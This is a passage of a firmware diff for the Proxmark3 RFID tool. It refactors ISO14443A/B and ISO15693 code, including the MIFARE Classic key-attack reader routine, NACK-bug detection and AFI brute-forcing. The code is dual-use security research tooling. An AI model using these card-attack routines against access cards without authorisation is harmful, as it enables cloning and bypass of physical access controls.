ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding - if (ReaderReceive(receivedAnswer, receivedAnswerPar)) + int resp_res = ReaderReceive(receivedAnswer, receivedAnswerPar); + if (resp_res == 1) received_nack = true; + else if (resp_res == 4) { + // did we get lucky and got our dummykey to be valid? + // however we dont feed key w uid it the prng.. + isOK = -6; + break; + } + // we didn't calibrate our clock yet, // iceman: has to be calibrated every time. @@ -2842,29 +3059,40 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { mf_nr_ar[3] &= 0x1F; - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requestes: %u", i); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requests: %u", i); - uint8_t buf[32] = {0x00}; - memset(buf, 0x00, sizeof(buf)); - num_to_bytes(cuid, 4, buf); - num_to_bytes(nt, 4, buf + 4); - memcpy(buf + 8, par_list, 8); - memcpy(buf + 16, ks_list, 8); - memcpy(buf + 24, mf_nr_ar, 8); + FpgaDisableTracing(); - reply_mix(CMD_ACK, isOK, 0, 0, buf, sizeof(buf)); + struct { + int32_t isOK; + uint8_t cuid[4]; + uint8_t nt[4]; + uint8_t par_list[8]; + uint8_t ks_list[8]; + uint8_t nr[4]; + uint8_t ar[4]; + } PACKED payload; - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); + payload.isOK = isOK; + num_to_bytes(cuid, 4, payload.cuid); + num_to_bytes(nt, 4, payload.nt); + memcpy(payload.par_list, par_list, sizeof(payload.par_list)); + memcpy(payload.ks_list, ks_list, sizeof(payload.ks_list)); + memcpy(payload.nr, mf_nr_ar, sizeof(payload.nr)); + memcpy(payload.ar, mf_nr_ar + 4, sizeof(payload.ar)); + + reply_ng(CMD_HF_MIFARE_READER, return_status, (uint8_t *)&payload, sizeof(payload)); + + hf_field_off(); set_tracing(false); } /* -* Mifare Classic NACK-bug detection -* Thanks to @doegox for the feedback and new approaches. + * Mifare Classic NACK-bug detection + * Thanks to @doegox for the feedback and new approaches. */ -void DetectNACKbug() { - uint8_t mf_auth[] = {0x60, 0x00, 0xF5, 0x7B}; +void DetectNACKbug(void) { + uint8_t mf_auth[] = {0x60, 0x00, 0xF5, 0x7B}; uint8_t mf_nr_ar[] = {0, 0, 0, 0, 0, 0, 0, 0}; uint8_t uid[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; @@ -2895,6 +3123,8 @@ void DetectNACKbug() { sync_time = GetCountSspClk() & 0xfffffff8; LED_C_ON(); + uint16_t checkbtn_cnt = 0; + uint16_t i; for (i = 1; true; ++i) { @@ -2909,16 +3139,20 @@ void DetectNACKbug() { WDT_HIT(); // Test if the action was cancelled - if (BUTTON_PRESS() || data_available()) { - status = PM3_EOPABORTED; - break; + if (checkbtn_cnt == 1000) { + if (BUTTON_PRESS() || data_available()) { + status = PM3_EOPABORTED; + break; + } + checkbtn_cnt = 0; } + ++checkbtn_cnt; // this part is from Piwi's faster nonce collecting part in Hardnested. if (!have_uid) { // need a full select cycle to get the uid first iso14a_card_select_t card_info; if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { - if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (ALL)"); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (ALL)"); i = 0; continue; } @@ -2940,7 +3174,7 @@ void DetectNACKbug() { have_uid = true; } else { // no need for anticollision. We can directly select the card if (!iso14443a_fast_select_card(uid, cascade_levels)) { - if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (UID)"); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (UID)"); i = 0; have_uid = false; continue; @@ -2972,10 +3206,11 @@ void DetectNACKbug() { // Transmit reader nonce with fake par ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); + // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding if (ReaderReceive(receivedAnswer, receivedAnswerPar)) { received_nack = true; num_nacks++; - // ALWAYS leak Detection. + // ALWAYS leak Detection. Well, we could be lucky and get a response nack on first try. if (i == num_nacks) { continue; } @@ -3085,16 +3320,15 @@ void DetectNACKbug() { // num_nacks = number of nacks recieved. should be only 1. if not its a clone card which always sends NACK (parity == 0) ? // i = number of authentications sent. Not always 256, since we are trying to sync but close to it. + FpgaDisableTracing(); uint8_t *data = BigBuf_malloc(4); data[0] = isOK; data[1] = num_nacks; num_to_bytes(i, 2, data + 2); - reply_ng(CMD_MIFARE_NACK_DETECT, status, data, 4); + reply_ng(CMD_HF_MIFARE_NACK_DETECT, status, data, 4); - //reply_mix(CMD_ACK, isOK, num_nacks, i, 0, 0); BigBuf_free(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); + hf_field_off(); set_tracing(false); } diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index 5ebc3e645..33e5b2995 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -13,21 +13,10 @@ #ifndef __ISO14443A_H #define __ISO14443A_H -#ifdef __cplusplus -extern "C" { -#endif - +#include "common.h" +#include "mifare.h" // struct #include "pm3_cmd.h" -#include "cmd.h" -#include "apps.h" -#include "util.h" -#include "string.h" -#include "crc16.h" -#include "mifaresniff.h" -#include "crapto1/crapto1.h" -#include "mifareutil.h" -#include "parity.h" -#include "mifare.h" // structs +#include "crc16.h" // compute_crc // When the PM acts as tag and is receiving it takes // 2 ticks delay in the RF part (for the first falling edge), @@ -42,11 +31,11 @@ extern "C" { typedef struct { enum { - DEMOD_UNSYNCD, - // DEMOD_HALF_SYNCD, - // DEMOD_MOD_FIRST_HALF, - // DEMOD_NOMOD_FIRST_HALF, - DEMOD_MANCHESTER_DATA + DEMOD_14A_UNSYNCD, + // DEMOD_14A_HALF_SYNCD, + // DEMOD_14A_MOD_FIRST_HALF, + // DEMOD_14A_NOMOD_FIRST_HALF, + DEMOD_14A_MANCHESTER_DATA } state; uint16_t twoBits; uint16_t highCnt; @@ -61,7 +50,7 @@ typedef struct { uint32_t startTime, endTime; uint8_t *output; uint8_t *parity; -} tDemod; +} tDemod14a; /* typedef enum { MOD_NOMOD = 0, @@ -73,11 +62,11 @@ typedef enum { typedef struct { enum { - STATE_UNSYNCD, - STATE_START_OF_COMMUNICATION, - STATE_MILLER_X, - STATE_MILLER_Y, - STATE_MILLER_Z, + STATE_14A_UNSYNCD, + STATE_14A_START_OF_COMMUNICATION, + STATE_14A_MILLER_X, + STATE_14A_MILLER_Y, + STATE_14A_MILLER_Z, // DROP_NONE, // DROP_FIRST_HALF, } state; @@ -93,7 +82,7 @@ typedef struct { uint32_t startTime, endTime; uint8_t *output; uint8_t *parity; -} tUart; +} tUart14a; #ifndef AddCrc14A # define AddCrc14A(data, len) compute_crc(CRC_14443_A, (data), (len), (data)+(len), (data)+(len)+1) @@ -104,17 +93,20 @@ typedef struct { #endif #ifndef CheckCrc14A -# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len)) +# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len)) #endif +void iso14a_set_timeout(uint32_t timeout); +uint32_t iso14a_get_timeout(void); + void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par); -tDemod *GetDemod(void); -void DemodReset(void); -void DemodInit(uint8_t *data, uint8_t *par); -tUart *GetUart(void); -void UartReset(void); -void UartInit(uint8_t *data, uint8_t *par); +tDemod14a *GetDemod14a(void); +void Demod14aReset(void); +void Demod14aInit(uint8_t *data, uint8_t *par); +tUart14a *GetUart14a(void); +void Uart14aReset(void); +void Uart14aInit(uint8_t *data, uint8_t *par); RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time); RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time); @@ -132,6 +124,7 @@ int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, bool send_chaining, void *data, u int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats); int iso14443a_fast_select_card(uint8_t *uid_ptr, uint8_t num_cascades); void iso14a_set_trigger(bool enable); +void hf_field_off(void); int EmSendCmd14443aRaw(uint8_t *resp, uint16_t respLen); int EmSend4bit(uint8_t resp); @@ -148,10 +141,8 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start uint8_t *tag_data, uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint8_t *tag_Parity); void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype); -void DetectNACKbug(); +void DetectNACKbug(void); -#ifdef __cplusplus -} -#endif +bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint8_t *received_len); #endif /* __ISO14443A_H */ diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index 241484d01..31f2cae58 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -10,6 +10,20 @@ //----------------------------------------------------------------------------- #include "iso14443b.h" +#include "proxmark3_arm.h" +#include "common.h" // access to global variable: DBGLEVEL +#include "util.h" +#include "string.h" +#include "crc16.h" +#include "protocols.h" +#include "appmain.h" +#include "BigBuf.h" +#include "cmd.h" +#include "fpgaloader.h" +#include "commonutil.h" +#include "dbprint.h" +#include "ticks.h" + #ifndef FWT_TIMEOUT_14B // defaults to 2000ms # define FWT_TIMEOUT_14B 35312 @@ -52,7 +66,7 @@ static uint32_t iso14b_timeout = FWT_TIMEOUT_14B; //============================================================================= // An ISO 14443 Type B tag. We listen for commands from the reader, using -// a UART kind of thing that's implemented in software. When we get a +// a kind of thing that's implemented in software. When we get a // frame (i.e., a group of bytes between SOF and EOF), we check the CRC. // If it's good, then we can do something appropriate with it, and send // a response. @@ -60,14 +74,14 @@ static uint32_t iso14b_timeout = FWT_TIMEOUT_14B; //----------------------------------------------------------------------------- -// The software UART that receives commands from the reader, and its state variables. +// The software that receives commands from the reader, and its state variables. //----------------------------------------------------------------------------- static struct { enum { - STATE_UNSYNCD, - STATE_GOT_FALLING_EDGE_OF_SOF, - STATE_AWAITING_START_BIT, - STATE_RECEIVING_DATA + STATE_14B_UNSYNCD, + STATE_14B_GOT_FALLING_EDGE_OF_SOF, + STATE_14B_AWAITING_START_BIT, + STATE_14B_RECEIVING_DATA } state; uint16_t shiftReg; int bitCnt; @@ -77,8 +91,8 @@ static struct { uint8_t *output; } Uart; -static void UartReset() { - Uart.state = STATE_UNSYNCD; +static void Uart14bReset() { + Uart.state = STATE_14B_UNSYNCD; Uart.shiftReg = 0; Uart.bitCnt = 0; Uart.byteCnt = 0; @@ -86,9 +100,9 @@ static void UartReset() { Uart.posCnt = 0; } -static void UartInit(uint8_t *data) { +static void Uart14bInit(uint8_t *data) { Uart.output = data; - UartReset(); + Uart14bReset(); // memset(Uart.output, 0x00, MAX_FRAME_SIZE); } @@ -120,7 +134,7 @@ static struct { } Demod; // Clear out the state of the "UART" that receives from the tag. -static void DemodReset() { +static void Demod14bReset() { Demod.state = DEMOD_UNSYNCD; Demod.bitCount = 0; Demod.posCount = 0; @@ -133,9 +147,9 @@ static void DemodReset() { Demod.endTime = 0; } -static void DemodInit(uint8_t *data) { +static void Demod14bInit(uint8_t *data) { Demod.output = data; - DemodReset(); + Demod14bReset(); // memset(Demod.output, 0x00, MAX_FRAME_SIZE); } @@ -315,16 +329,16 @@ static void CodeIso14443bAsTag(const uint8_t *cmd, int len) { */ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) { switch (Uart.state) { - case STATE_UNSYNCD: + case STATE_14B_UNSYNCD: if (!bit) { // we went low, so this could be the beginning of an SOF - Uart.state = STATE_GOT_FALLING_EDGE_OF_SOF; + Uart.state = STATE_14B_GOT_FALLING_EDGE_OF_SOF; Uart.posCnt = 0; Uart.bitCnt = 0; } break; - case STATE_GOT_FALLING_EDGE_OF_SOF: + case STATE_14B_GOT_FALLING_EDGE_OF_SOF: Uart.posCnt++; if (Uart.posCnt == 2) { // sample every 4 1/fs in the middle of a bit if (bit) { @@ -333,11 +347,11 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) { // zeros that it's a valid SOF Uart.posCnt = 0; Uart.byteCnt = 0; - Uart.state = STATE_AWAITING_START_BIT; + Uart.state = STATE_14B_AWAITING_START_BIT; LED_A_ON(); // Indicate we got a valid SOF } else { // didn't stay down long enough before going high, error - Uart.state = STATE_UNSYNCD; + Uart.state = STATE_14B_UNSYNCD; } } else { // do nothing, keep waiting @@ -348,27 +362,27 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) { if (Uart.bitCnt > 12) { // Give up if we see too many zeros without a one, too. LED_A_OFF(); - Uart.state = STATE_UNSYNCD; + Uart.state = STATE_14B_UNSYNCD; } break; - case STATE_AWAITING_START_BIT: + case STATE_14B_AWAITING_START_BIT: Uart.posCnt++; if (bit) { if (Uart.posCnt > 50 / 2) { // max 57us between characters = 49 1/fs, max 3 etus after low phase of SOF = 24 1/fs // stayed high for too long between characters, error - Uart.state = STATE_UNSYNCD; + Uart.state = STATE_14B_UNSYNCD; } } else { // falling edge, this starts the data byte Uart.posCnt = 0; Uart.bitCnt = 0; Uart.shiftReg = 0; - Uart.state = STATE_RECEIVING_DATA; + Uart.state = STATE_14B_RECEIVING_DATA; } break; - case STATE_RECEIVING_DATA: + case STATE_14B_RECEIVING_DATA: Uart.posCnt++; if (Uart.posCnt == 2) { // time to sample a bit @@ -391,30 +405,30 @@ static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) { if (Uart.byteCnt >= Uart.byteCntMax) { // Buffer overflowed, give up LED_A_OFF(); - Uart.state = STATE_UNSYNCD; + Uart.state = STATE_14B_UNSYNCD; } else { // so get the next byte now Uart.posCnt = 0; - Uart.state = STATE_AWAITING_START_BIT; + Uart.state = STATE_14B_AWAITING_START_BIT; } } else if (Uart.shiftReg == 0x000) { // this is an EOF byte LED_A_OFF(); // Finished receiving - Uart.state = STATE_UNSYNCD; + Uart.state = STATE_14B_UNSYNCD; if (Uart.byteCnt != 0) return true; } else { // this is an error LED_A_OFF(); - Uart.state = STATE_UNSYNCD; + Uart.state = STATE_14B_UNSYNCD; } } break; default: LED_A_OFF(); - Uart.state = STATE_UNSYNCD; + Uart.state = STATE_14B_UNSYNCD; break; } return false; @@ -454,7 +468,7 @@ static int GetIso14443bCommandFromReader(uint8_t *received, uint16_t *len) { } */ // Now run a `software UART' on the stream of incoming samples. - UartInit(received); + Uart14bInit(received); uint8_t mask; while (!BUTTON_PRESS()) { @@ -621,7 +635,12 @@ void SimulateIso14443bTag(uint32_t pupi) { // find reader field if (cardSTATE == SIM_NOFIELD) { + +#if defined RDV4 + vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; +#endif if (vHf > MF_MINFIELDV) { cardSTATE = SIM_IDLE; LED_A_ON(); @@ -949,7 +968,7 @@ static void GetTagSamplesFor14443bDemod() { BigBuf_free(); // Set up the demodulator for tag -> reader responses. - DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); + Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE)); // The DMA buffer, used to stream samples from the FPGA int8_t *dmaBuf = (int8_t *) BigBuf_malloc(ISO14443B_DMA_BUFFER_SIZE); @@ -1151,6 +1170,9 @@ uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *r CodeAndTransmit14443bAsReader(message_frame, message_length + 4); //no // get response GetTagSamplesFor14443bDemod(); //no + + FpgaDisableTracing(); + if (Demod.len < 3) return 0; @@ -1177,6 +1199,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) { CodeAndTransmit14443bAsReader(init_srx, sizeof(init_srx)); GetTagSamplesFor14443bDemod(); //no + FpgaDisableTracing(); if (Demod.len == 0) return 2; @@ -1190,6 +1213,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) { CodeAndTransmit14443bAsReader(select_srx, sizeof(select_srx)); GetTagSamplesFor14443bDemod(); //no + FpgaDisableTracing(); if (Demod.len != 3) return 2; @@ -1208,6 +1232,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) { AddCrc14B(select_srx, 1); CodeAndTransmit14443bAsReader(select_srx, 3); // Only first three bytes for this one GetTagSamplesFor14443bDemod(); //no + FpgaDisableTracing(); if (Demod.len != 10) return 2; @@ -1239,6 +1264,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) { // first, wake up the tag CodeAndTransmit14443bAsReader(wupb, sizeof(wupb)); GetTagSamplesFor14443bDemod(); //select_card + FpgaDisableTracing(); // ATQB too short? if (Demod.len < 14) @@ -1263,6 +1289,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) { CodeAndTransmit14443bAsReader(attrib, sizeof(attrib)); GetTagSamplesFor14443bDemod();//select_card + FpgaDisableTracing(); // Answer to ATTRIB too short? if (Demod.len < 3) @@ -1306,8 +1333,8 @@ void iso14443b_setup() { FpgaDownloadAndGo(FPGA_BITSTREAM_HF); // Initialize Demod and Uart structs - DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); - UartInit(BigBuf_malloc(MAX_FRAME_SIZE)); + Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE)); + Uart14bInit(BigBuf_malloc(MAX_FRAME_SIZE)); // connect Demodulated Signal to ADC: SetAdcMuxFor(GPIO_MUXSEL_HIPKD); @@ -1339,6 +1366,7 @@ static bool ReadSTBlock(uint8_t block) { AddCrc14B(cmd, 2); CodeAndTransmit14443bAsReader(cmd, sizeof(cmd)); GetTagSamplesFor14443bDemod(); + FpgaDisableTracing(); // Check if we got an answer from the tag if (Demod.len != 6) { @@ -1411,8 +1439,8 @@ static void iso1444b_setup_sniff(void) { set_tracing(true); // Initialize Demod and Uart structs - DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); - UartInit(BigBuf_malloc(MAX_FRAME_SIZE)); + Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE)); + Uart14bInit(BigBuf_malloc(MAX_FRAME_SIZE)); if (DBGLEVEL > 1) { // Print debug information about the buffer sizes @@ -1502,8 +1530,8 @@ void RAMFUNC SniffIso14443b(void) { if (Handle14443bReaderUartBit(ci & 0x01)) { time_stop = GetCountSspClk() - time_0; LogTrace(Uart.output, Uart.byteCnt, time_start, time_stop, NULL, true); - UartReset(); - DemodReset(); + Uart14bReset(); + Demod14bReset(); } else { time_start = GetCountSspClk() - time_0; } @@ -1511,12 +1539,12 @@ void RAMFUNC SniffIso14443b(void) { if (Handle14443bReaderUartBit(cq & 0x01)) { time_stop = GetCountSspClk() - time_0; LogTrace(Uart.output, Uart.byteCnt, time_start, time_stop, NULL, true); - UartReset(); - DemodReset(); + Uart14bReset(); + Demod14bReset(); } else { time_start = GetCountSspClk() - time_0; } - ReaderIsActive = (Uart.state > STATE_GOT_FALLING_EDGE_OF_SOF); + ReaderIsActive = (Uart.state > STATE_14B_GOT_FALLING_EDGE_OF_SOF); } // no need to try decoding tag data if the reader is sending - and we cannot afford the time @@ -1527,8 +1555,8 @@ void RAMFUNC SniffIso14443b(void) { if (Handle14443bTagSamplesDemod(ci, cq)) { time_stop = GetCountSspClk() - time_0; LogTrace(Demod.output, Demod.len, time_start, time_stop, NULL, false); - UartReset(); - DemodReset(); + Uart14bReset(); + Demod14bReset(); } else { time_start = GetCountSspClk() - time_0; } @@ -1588,7 +1616,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) { if ((param & ISO14B_SELECT_STD) == ISO14B_SELECT_STD) { iso14b_card_select_t *card = (iso14b_card_select_t *)buf; status = iso14443b_select_card(card); - reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen); + reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen); // 0: OK 2: attrib fail, 3:crc fail, if (status > 0) goto out; } @@ -1596,14 +1624,14 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) { if ((param & ISO14B_SELECT_SR) == ISO14B_SELECT_SR) { iso14b_card_select_t *card = (iso14b_card_select_t *)buf; status = iso14443b_select_srx_card(card); - reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen); + reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen); // 0: OK 2: demod fail, 3:crc fail, if (status > 0) goto out; } if ((param & ISO14B_APDU) == ISO14B_APDU) { status = iso14443b_apdu(cmd, len, buf); - reply_old(CMD_ACK, status, status, 0, buf, status); + reply_mix(CMD_ACK, status, status, 0, buf, status); } if ((param & ISO14B_RAW) == ISO14B_RAW) { @@ -1614,6 +1642,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) { CodeAndTransmit14443bAsReader(cmd, len); // raw GetTagSamplesFor14443bDemod(); // raw + FpgaDisableTracing(); sendlen = MIN(Demod.len, PM3_CMD_DATA_SIZE); status = (Demod.len > 0) ? 0 : 1; diff --git a/armsrc/iso14443b.h b/armsrc/iso14443b.h index 5ea3d530b..12ee316e9 100644 --- a/armsrc/iso14443b.h +++ b/armsrc/iso14443b.h @@ -13,18 +13,10 @@ #ifndef __ISO14443B_H #define __ISO14443B_H -#ifdef __cplusplus -extern "C" { -#endif +#include "common.h" -#include "proxmark3.h" -#include "common.h" // access to global variable: DBGLEVEL -#include "apps.h" -#include "util.h" -#include "string.h" -#include "crc16.h" #include "mifare.h" -#include "protocols.h" +#include "pm3_cmd.h" #ifndef AddCrc14A # define AddCrc14A(data, len) compute_crc(CRC_14443_A, (data), (len), (data)+(len), (data)+(len)+1) @@ -34,12 +26,18 @@ extern "C" { # define AddCrc14B(data, len) compute_crc(CRC_14443_B, (data), (len), (data)+(len), (data)+(len)+1) #endif -void SendRawCommand14443B_Ex(PacketCommandNG *c); void iso14443b_setup(); uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *response); uint8_t iso14443b_select_card(iso14b_card_select_t *card); uint8_t iso14443b_select_card_srx(iso14b_card_select_t *card); +void SimulateIso14443bTag(uint32_t pupi); +void AcquireRawAdcSamplesIso14443b(uint32_t parameter); +void ReadSTMemoryIso14443b(uint8_t numofblocks); +void RAMFUNC SniffIso14443b(void); +void SendRawCommand14443B(uint32_t, uint32_t, uint8_t, uint8_t[]); +void SendRawCommand14443B_Ex(PacketCommandNG *c); + // testfunctions void WaitForFpgaDelayQueueIsEmpty(uint16_t delay); void ClearFpgaShiftingRegisters(void); @@ -53,8 +51,4 @@ void ClearFpgaShiftingRegisters(void); #define SIM_ACKNOWLEDGE 5 #define SIM_WORK 6 -#ifdef __cplusplus -} -#endif - #endif /* __ISO14443B_H */ diff --git a/armsrc/iso15693.c b/armsrc/iso15693.c index 374b2be23..a35ac4c57 100644 --- a/armsrc/iso15693.c +++ b/armsrc/iso15693.c @@ -32,8 +32,8 @@ // // VICC (tag) -> VCD (reader) // Modulation: -// ASK / one subcarrier (423,75 khz) -// FSK / two subcarriers (423,75 khz && 484,28 khz) +// ASK / one subcarrier (423,75 kHz) +// FSK / two subcarriers (423,75 kHz && 484,28 kHz) // Data Rates / Modes: // low ASK: 6,62 kbit/s // low FSK: 6.67 kbit/s @@ -58,12 +58,20 @@ // *) remove or refactor code under "depricated" // *) document all the functions -#include "proxmark3.h" +#include "iso15693.h" + +#include "proxmark3_arm.h" #include "util.h" -#include "apps.h" #include "string.h" #include "iso15693tools.h" #include "cmd.h" +#include "appmain.h" +#include "dbprint.h" +#include "fpgaloader.h" +#include "commonutil.h" +#include "ticks.h" +#include "BigBuf.h" +#include "crc16.h" /////////////////////////////////////////////////////////////////////// // ISO 15693 Part 2 - Air Interface @@ -85,8 +93,6 @@ #define CheckCrc15(data, len) check_crc(CRC_15693, (data), (len)) #define AddCrc15(data, len) compute_crc(CRC_15693, (data), (len), (data)+(len), (data)+(len)+1) -#define sprintUID(target,uid) Iso15693sprintUID((target), (uid)) - static void BuildIdentifyRequest(uint8_t *cmdout); //static void BuildReadBlockRequest(uint8_t *cmdout, uint8_t *uid, uint8_t blockNumber ); static void BuildInventoryResponse(uint8_t *cmdout, uint8_t *uid); @@ -695,7 +701,7 @@ static void BuildInventoryResponse(uint8_t *cmdout, uint8_t *uid) { // speed ... 0 low speed, 1 hi speed // **recv will return you a pointer to the received data // If you do not need the answer use NULL for *recv[] -// return: lenght of received data +// return: length of received data // logging enabled int SendDataTag(uint8_t *send, int sendlen, bool init, int speed, uint8_t *outdata) { @@ -758,7 +764,7 @@ void DbdecodeIso15693Answer(int len, uint8_t *d) { strncat(status, "0F: no info", DBD15STATLEN - strlen(status)); break; case 0x10: - strncat(status, "10: dont exist", DBD15STATLEN - strlen(status)); + strncat(status, "10: don't exist", DBD15STATLEN - strlen(status)); break; case 0x11: strncat(status, "11: lock again", DBD15STATLEN - strlen(status)); @@ -921,6 +927,7 @@ void BruteforceIso15693Afi(uint32_t speed) { uint8_t buf[ISO15_MAX_FRAME]; memset(buf, 0x00, sizeof(buf)); int datalen = 0, recvlen = 0; + bool aborted = false; Iso15693InitReader(); @@ -929,16 +936,15 @@ void BruteforceIso15693Afi(uint32_t speed) { data[0] = ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_INVENTORY | ISO15_REQINV_SLOT1; data[1] = ISO15_CMD_INVENTORY; - data[2] = 0; // mask length + data[2] = 0; // AFI AddCrc15(data, 3); - datalen += 2; - + datalen = 5; recvlen = SendDataTag(data, datalen, false, speed, buf); WDT_HIT(); if (recvlen >= 12) { - Dbprintf("NoAFI UID = %s", sprintUID(NULL, buf + 2)); + Dbprintf("NoAFI UID = %s", iso15693_sprintUID(NULL, buf + 2)); } // now with AFI @@ -947,17 +953,21 @@ void BruteforceIso15693Afi(uint32_t speed) { data[2] = 0; // AFI data[3] = 0; // mask length + // 4 + 2crc + datalen = 6; + for (uint16_t i = 0; i < 256; i++) { data[2] = i & 0xFF; AddCrc15(data, 4); - datalen += 2; recvlen = SendDataTag(data, datalen, false, speed, buf); WDT_HIT(); if (recvlen >= 12) { - Dbprintf("AFI = %i UID = %s", i, sprintUID(NULL, buf + 2)); + Dbprintf("AFI = %i UID = %s", i, iso15693_sprintUID(NULL, buf + 2)); } - if (BUTTON_PRESS()) { + aborted = BUTTON_PRESS(); + + if (aborted) { DbpString("button pressed, aborting.."); break; } @@ -965,6 +975,12 @@ void BruteforceIso15693Afi(uint32_t speed) { DbpString("AFI Bruteforcing done."); switch_off(); + + if (aborted) { + reply_ng(CMD_ACK, PM3_EOPABORTED, NULL, 0); + } else { + reply_ng(CMD_ACK, PM3_SUCCESS, NULL, 0); + } } // Allows to directly send commands to the tag via the client diff --git a/armsrc/iso15693.h b/armsrc/iso15693.h new file mode 100644 index 000000000..2233ba9fd --- /dev/null +++ b/armsrc/iso15693.h @@ -0,0 +1,26 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Definitions internal to the app source. +//----------------------------------------------------------------------------- +#ifndef __ISO15693_H +#define __ISO15693_H + +#include "common.h" + +#include "pm3_cmd.h" // struct + +void RecordRawAdcSamplesIso15693(void); +void AcquireRawAdcSamplesIso15693(void); +void ReaderIso15693(uint32_t parameter); // Simulate an ISO15693 reader - greg +void SimTagIso15693(uint32_t parameter, uint8_t *uid); // simulate an ISO15693 tag - greg +void BruteforceIso15693Afi(uint32_t speed); // find an AFI of a tag - atrox +void DirectTag15693Command(uint32_t datalen, uint32_t speed, uint32_t recv, uint8_t *data); // send arbitrary commands from CLI - atrox +void Iso15693InitReader(void); + +#endif diff --git a/armsrc/ldscript b/armsrc/ldscript index 34da26bcd..4d48d9948 100644 --- a/armsrc/ldscript +++ b/armsrc/ldscript @@ -7,61 +7,61 @@ Linker script for the ARM binary ----------------------------------------------------------------------------- */ -INCLUDE ../common/ldscript.common +INCLUDE ../common_arm/ldscript.common PHDRS { - text PT_LOAD FLAGS(5); - data PT_LOAD; - bss PT_LOAD; + text PT_LOAD FLAGS(5); + data PT_LOAD; + bss PT_LOAD; } ENTRY(Vector) SECTIONS { - .start : { - *(.startos) - } >osimage :text + .start : { + *(.startos) + } >osimage :text - .text : { - KEEP(*(stage1_image)) - *(.text) - *(.text.*) - *(.eh_frame) - *(.glue_7) - *(.glue_7t) - } >osimage :text + .text : { + KEEP(*(stage1_image)) + *(.text) + *(.text.*) + *(.eh_frame) + *(.glue_7) + *(.glue_7t) + } >osimage :text - .rodata : { - *(.rodata) - *(.rodata.*) - *(fpga_all_bit.data) - KEEP(*(.version_information)) - . = ALIGN(8); - } >osimage :text + .rodata : { + *(.rodata) + *(.rodata.*) + *(fpga_all_bit.data) + KEEP(*(.version_information)) + . = ALIGN(8); + } >osimage :text - .data : { - KEEP(*(compressed_data)) - *(.data) - *(.data.*) - *(.ramfunc) - . = ALIGN(4); - } >ram AT>osimage :data + .data : { + KEEP(*(compressed_data)) + *(.data) + *(.data.*) + *(.ramfunc) + . = ALIGN(4); + } >ram AT>osimage :data - __data_src_start__ = LOADADDR(.data); - __data_start__ = ADDR(.data); - __data_end__ = __data_start__ + SIZEOF(.data); - __os_size__ = SIZEOF(.text) + SIZEOF(.data) + SIZEOF(.rodata); - - .bss : { 